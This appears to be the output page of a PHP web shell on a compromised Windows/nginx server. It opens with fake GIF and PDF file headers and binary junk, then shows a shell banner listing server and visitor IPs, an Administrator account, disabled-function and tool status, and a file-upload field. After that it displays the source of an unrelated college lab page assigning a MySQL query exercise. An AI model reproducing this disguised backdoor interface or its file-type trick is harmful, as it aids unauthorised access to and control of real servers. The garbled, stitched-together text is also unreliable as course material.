GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1600/Labs/_Archive/Lab07/ |
Upload File : |
<? // JimMartinson/CST1600/Labs/Lab05/index.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. include('application.phpinc'); include('Course/courseInfo.phpinc'); include('../../classInfo.phpinc'); $evaluationNumber = 7; $evaluationType = "Lab"; $evaluationTitle = "Function"; if ( !isset($assignmentSuffix) ) $assignmentSuffix = ''; $evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix; $title = $evaluationType." ".$evaluationNumber.' - '.$evaluationTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; include('common/pageHeader.phpinc'); $f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = username($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $userFileName = str_replace(" ","",$userFullName); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); include('common/sectionHeader.phpinc'); include('Gradebook/EvaluationSubmission_BEGIN.phpinc'); $uploadFilename = $courseNumber.'-'.$userFileName.'-'.$evaluationName.'.zip'; ?> <style type="text/css">b {white-space:nowrap;}</style> <p> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> The purpose of this lab is to demonstrate your ability to use MySQL functions. <br><b>Note: Use the <a href="http://www.mysqltutorial.org/download/2">MySQL Sample Database</a> `classicmodels` for this lab.</b> <br><?=$gradeNote?> <ol> <li> Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab. </li> <li> Write a query to return the: <ul> <li><b>customerName</b> from `customers`.</li> <li><b>contactFirstName</b> and <b>contactLastName</b> concatenated together with a space between them as <b>`contact`</b> (also from `customers`).</li> <li><b>shippedDate</b> from `orders` formatted to show the day name (three characters like Mon, Tue, etc.), a comma and space, the month (three characters like Jan, Feb, etc.), a space, the day with ordinal, a space, and the year as <b>`Shipped On`</b>. <br>e.g.: <b>Tue, May 3rd 2016</b>.</li> </ul> </li> <li>Save the query as <b><?=$userFullName?>_Query.sql</b></li> <li> Run the query and take a screenshot showing some of the results. <br>Save it as a png file called: <b><?=$userFullName?>_Results.png</b>. </li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li> <li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? include('Gradebook/EvaluationSubmission_END.phpinc'); $deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; } #include('../../CST1600GradingCriteria.phpinc'); #include('../../Notes/notes.phpinc'); include('common/sectionFooter.phpinc'); include('../../ReferencesResources.phpinc'); include('common/pageFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>